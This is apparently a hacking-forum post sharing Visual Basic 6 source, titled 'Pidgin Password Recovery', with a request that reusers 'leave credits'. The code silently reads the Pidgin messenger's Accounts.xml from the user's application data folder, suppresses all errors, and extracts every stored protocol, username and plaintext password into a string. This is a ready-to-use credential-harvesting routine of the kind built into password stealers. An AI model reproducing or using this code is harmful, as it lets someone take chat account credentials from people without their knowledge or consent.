[VB6] Pidgin Password Recovery

[Tix]

'LEave credits if u use this
'by skilled
Public Function sPidgin() As String
On Error GoTo Err
Dim sPath As String
Dim f As Integer: f = FreeFile

sPath = Environ("appdata") & "\.purple\Accounts.xml"
If Dir(sPath) = vbNullString Then Exit Function

Dim bUser As Boolean
Dim bPass As Boolean

Open sPath For Binary As #f
Do While Not EOF(f)
    Line Input #f, sLine
    
        If bPass = True Then
             sPidgin = sPidgin & "Password : " & parse(sLine,  "<password>", "</password>") & vbNewLine &  String(20, "-")
            bPass = False
        End If
        
        If bUser = True Then
            sPidgin = sPidgin & "Username : " & parse(sLine, "<name>", "</name>") & vbNewLine
            bUser = False: bPass = True
        End If
        
        If InStr(sLine, "<protocol>") > 0 Then
             sPidgin = sPidgin & "Protocol : " & parse(sLine,  "<protocol>prpl-", "</protocol>") & vbNewLine
            bUser = True
        End If
Loop
Close #f

Err:
End Function

Private Function parse(ByVal sString As String, ByVal S1 As String, ByVal S2 As String) As String
Dim iPos As Integer, iPos2 As Integer
iPos = InStr(sString, S1): iPos2 = InStr(sString, S2)
If iPos = 0 Or iPos2 = 0 Then Exit Function
If iPos > iPos2 Then Exit Function
parse = Mid(sString, iPos + Len(S1), iPos2 - iPos - Len(S1))
End Function